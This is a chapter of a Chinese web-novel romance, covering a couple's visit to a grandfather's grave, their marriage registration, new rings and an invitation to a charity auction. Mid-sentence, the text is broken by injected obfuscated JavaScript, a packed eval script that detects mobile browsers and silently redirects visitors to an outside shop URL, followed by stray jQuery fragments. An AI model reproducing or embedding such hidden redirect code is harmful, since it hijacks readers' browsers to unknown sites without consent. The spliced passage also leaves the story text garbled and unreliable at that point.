领证的前一天,许楠枝带着温愆去祭拜了温老爷子。
长绵山山顶落了一层薄薄的雪,覆盖住树梢的绿色。
许楠枝把怀里的花束放下,拉着温愆坐在台阶上,唠家常的跟老爷子说着最近的见闻。
“爷爷,我拿到毕业证了,还带着温愆和舍友一起吃了饭,没想到吧,温愆现在已经能见外人了,虽然饭桌上他还跟我闹了点小脾气,但谁让他是小少爷呢,我有在践行我的承诺哦,不让他受一点委屈,当然他自己脑补出来的委屈不算。”
“我们明天就要去领证了,不是因为我跟你签的协议,想必这点您比我更清楚,可惜您孙子不知道,还以为我是什么好人,整天不要命的撩拨我的阴暗心思,真想找根链子把他锁起来,让他不要抛头露面,不要一无所觉的到处吸引那些觊觎的目光。”
“很想很想,但也只是想想,我舍不得。我舍不得让他孤零零的守在一个地方眼巴巴的等着我回去,舍不得他被限制自由,舍不得他真正变成一只囚鸟。他的才华,应该被看见,他的作品,应该被摆放在世界级的艺术殿堂。不过,他的颜值,就没必要展露了,我会吃醋。”
“爷爷,听我说了这么久,你也烦了吧,让温愆跟你说几句。”许楠枝碰碰温愆的手臂,拉回他明显听入神的思绪。
温愆迷茫的看了许楠枝一眼,在经过提醒后,迟钝的开口:“爷爷,我过得很幸福。”
十分简短,但很温愆。
“在山上待久了容易寒气入体,爷爷,我们就先走了,下次再来看你。”许楠枝拢了拢温愆的领口,替他整理了下围巾,左手自然的塞进他的大衣口袋里,带着温愆往下走。
温愆也把手伸进口袋里,握着许楠枝冰凉的手指,轻轻摩挲着,为她暖手。
许楠枝呵了一口气,低温让气息雾化成白色的可见的烟。
“温愆,我能呼这么远,你呼一口看看?”
温愆沉浸在漫步中的温馨念头被许楠枝搅得一干二净,他目光平直的看着兴冲冲的许楠枝,不冷不热的轻呵一声,极其敷衍。
许楠枝不太满意,“温愆?”
温愆面无表情的拒绝:“太幼稚了。”
许楠枝挤了挤眼睛,光明正大的假哭:“你变了,还没领证呢,你就开始嫌我幼稚了。”
温愆被指责得一语不发,他看许楠枝哼唧得厉害,抿了抿唇,豁出去一般,呵了一口长气。
“别哭了,你看。”温愆捏了捏许楠枝的手,清澈干净的嗓音不自觉柔软下来,带着几分撒娇的意味。
许楠枝看着冷空气中的白雾,心满意足。
……
不知道哪本杂书里的迷信说法,说办大事前要忌荤腥,还要焚香沐浴。所以到达山脚的烤全羊农庄时,温愆死活不让许楠枝进去。
许楠枝闻着空气中的香味,口腔不自觉的分泌唾液,她试图挣扎,“又不是第二天要出家,没必要这么严苛吧,而且温愆,我俩难得来一次,不要辜负蔡助理当初的精心设计。”
温愆死死抱着她的腰,不让她过去,冷硬无情的拒绝:“不行。”
“温愆,是不是不爱了?还没结婚呢,你就不让我吃肉,那结了婚还得了,是不是每天都得吃菜叶子?我是出嫁还是出家了啊,我命怎么这么苦。”许楠枝哭哭唧唧,旧计重施。
温愆不为所动的抱着她往车的方向走,“领完证再来吃。”
“我不,我就要现在。”许楠枝被香味馋得不行,作为一个位高权重、说一不二的集团董事长,她又不是没钱,凭什么委屈自己。
她就要吃。
“今天不行。”温愆侧脸冷漠。
两个人僵持不下,等在车里等了半天的管家打开车门下来,刚要催促,突然闻到空气中的烤肉味,忍不住舔了舔唇。
许楠枝眼尖,一眼捕捉到管家的动作,激动道:“你看,叔也想吃,你虐待未来老婆不够,还要虐待老人吗?”
莫名卷入小情侣战争的管家摸了摸鼻子,火速上车,远离硝烟味重的一线。
被扣了一顶又一顶帽子的温愆满脸麻木。
他平静的翻旧账,“你刚才才跟爷爷说,你舍不得我受一点委屈,现在你就为了烤全羊诋毁我。”
许楠枝哽了一下。
“而且,是叔给我找的书,他会理解的。”温愆又加了筹码想要说服她。
许楠枝凌厉的目光扫向罪魁祸首,温愆平常要多听话有多听话,第一次这么倔强的忤逆她,都是管家那些不知道有没有出版许可证的杂书的“功劳”啊。
她记住了,回去就找人把这些书封了。
许楠枝没拗过温愆,眼睁睁看着烤全羊离自己越来越远,生无可恋的被温愆抱上了车。
管家试图缓和两个人略显紧绷的氛围,“小少爷,其实,也没必要那么相信那些书的,我们还是要相信科学。”
温愆点点头,没争辩,他当然相信科学,但在许楠枝的事情上,他不介意科学玄学一起相信。
许楠枝幽怨的盯着马后炮的管家,咬牙道:“你刚才下车的时候怎么不说呢。”
管家闭嘴了。
您看看您旁边的小少爷啊,他那个表情,很明显我刚才说和现在说都改变不了什么啊!
管家内心抓狂大吼。
……
婚戒是在领证后拿到手的,因为工艺和温愆精益求精的原因,返工了一次,没能在领证前到手。
戒指款式是没有镶钻的素圈,外圈缠绕着楠木枝叶的纹路变形,内圈镌刻着两个经过设计结合在一起的字母,“QX”。
简洁大方的婚戒严丝合缝的卡在无名指上,在光影变幻下会折射出各种炫目的光。
许楠枝戴上婚戒的当天,特意招摇的在集团总部大楼晃了一圈。
回到董事长办公室前,她还刻意在蔡特助办公室前停留了好久。
蔡可看不下去,配合的推开门走出来,面无表情的问:“许董,有事?”
“我听说你下个月要去国外的分部出差。”许楠枝转着手上的婚戒,有一句没一句的搭话。
“嗯,有个项目要去考察一下。”蔡可目不斜视,忽略许楠枝过于明显的炫耀行为,很不客气的棒打鸳鸯,“怎么,许董想和我一起去?”
许楠枝转戒指的动作一顿,面露惊悚:“不是吧,蔡可姐,我的婚假我都请好了。”
“那不是没办婚礼么。”蔡可不以为意。
许楠枝明显松了口气,倚着门框,笑容揶揄,“蔡可姐,想吃我的喜酒不用这么迂回婉转的。”
“喜酒我就不吃了,新婚礼物有一个。”蔡可折返回办公室,拎着一个包装精美的礼品袋,塞给许楠枝。
许楠枝好奇的扒拉开瞅了一眼,又把袋口合拢,轻弯眉眼,唇角含笑的看着蔡可,“蔡可姐的礼物,那我可期待了。”
“那你保持住期待吧。”蔡可紧跟着拿出一张邀请函递给许楠枝,“刚才你下去视察工作时,谢思来了一趟,说让你务必出席这场慈善拍卖会。”
许楠枝好奇的接过邀请函,封面是瑞声集团的公司logo,展开里面是手写的邀请函。
诚邀您出席1月28日晚在鼎创艺术中心举办的慈善拍卖会。
落款是程瑾让。
“程瑾让的邀请函,怎么会让谢姨送过来呢?”谢
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17758403|207573||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
思不是会私事公办的人。
蔡可解释:“因为邀请函是谢思写的,只是落了程瑾让的款而已,毕竟主办方是瑞声集团。”
许楠枝更好奇了,“谢姨让我必须出席这个拍卖会,里面有什么特殊的拍品吗?”
蔡可点点头,“确实有一件特别的。”
“什么?”
“温愆母亲和那个人热恋时期,亲手设计制作的一串珠宝。”
许楠枝懂谢思的用意了。
这是温愆母亲的遗物。
“这串珠宝叫什么名字?”
蔡可扯了扯唇,语气嘲弄,“永恒。”
许楠枝评价,“渣爹真是害人不浅。”
说到这里,蔡可目光若有所思的落在许楠枝身上。
“有话直说。”看出她的疑问,许楠枝坦然的示意她问。
“我相信世间有真情存在,但还是不免会怀疑真心易变,特别是你和温愆这种完全不对等的感情,温愆如抓住救命稻草般抓着你死死不放手,这种窒息满溢带着浓烈渴求的爱,不会觉得很有压力吗?”
“还好吧。”许楠枝避重就轻,没有说自己享受其中,她心理上对于爱情的病态想法,温老爷子知道就可以了。
蔡可见她说的这么轻巧,不自觉来了兴趣,故意用词过分了许多,“那不会觉得厌烦吗?有那么一个人,时时刻刻的缠着你,上次你参加的那个酒会,我听说还被小少爷砸场子了。”
“都说日久生情也滋生厌倦,但越相处,我越喜欢他。”许楠枝唇角扬起,记忆似乎也跟着回到那场酒会。
“酒会的主办方想要讨好我,给我安排了一场室内泳池秀。温愆当晚没事,陪着我去了,但酒会人多,他不喜欢嘈杂,我就让他在车里等我,我本来就是想打声招呼就走的,谁知道那老头神神秘秘的说给我准备了惊喜,要是知道是那种惊喜,我肯定头也不回,垃圾老登,没有审美,找那种歪瓜裂枣来污我的眼。”
“知道惊喜是什么之后,我当场就下了脸,刚要走,助理就跟着温愆闯进来了,温愆当时穿的普通,还戴着口罩,那老登以为他是热场的小明星,还冷着脸跟我说小年轻没规矩。”
“我看到温愆,再看看身后的那些乱七八糟的人,真想揪着那老登的领子问他为什么害我,小少爷不理人起来难哄的很。”
“温愆拎起使者托盘上的酒瓶,砸了老头精心布置的香槟塔,玻璃杯碎裂,好多人都被吓了一跳,他当场就把我拉走了,晚上坐在车里回去的时候,他也不说话,就看着我无声的掉眼泪。唉,我最怕他哭,连忙解释,哄了好久呢。”
不知想起什么有意思的,许楠枝弯了弯唇,轻笑:“温愆砸场子后,就传出了个好玩的绯闻,说我贫困凤凰女吃温家绝户就算了,偷吃也不躲着点,让原配逮个正着,还说温小少爷都这样还不离婚,简直恋爱脑没救了,家庭煮夫糟糠夫无能狂怒。”
蔡可表情淡了下来。
“他们是想死吗?”
“你别生气,我现在当然就是当个笑话跟你说说,这些乱说话的人,我早小惩大诫过了。”
许楠枝不在乎声誉,别人爱怎么说怎么说,反正她的钱也不会少一分,但说小少爷不行,她捧在心尖上的人,容不得任何人诋毁分毫。
蔡可不疑有他,许楠枝的手腕,不输温老爷子,假以时日,更胜一筹。
拍卖会是许楠枝一个人去的,拿到拍品她没有告诉温愆,而是交给了管家,让他保存起来。
虽是母亲的遗物,但她并不想温愆再为她神伤一次。
过去的所有回忆,不管好的坏的,都跟逝去的人一起,被释怀在时光的角落吧。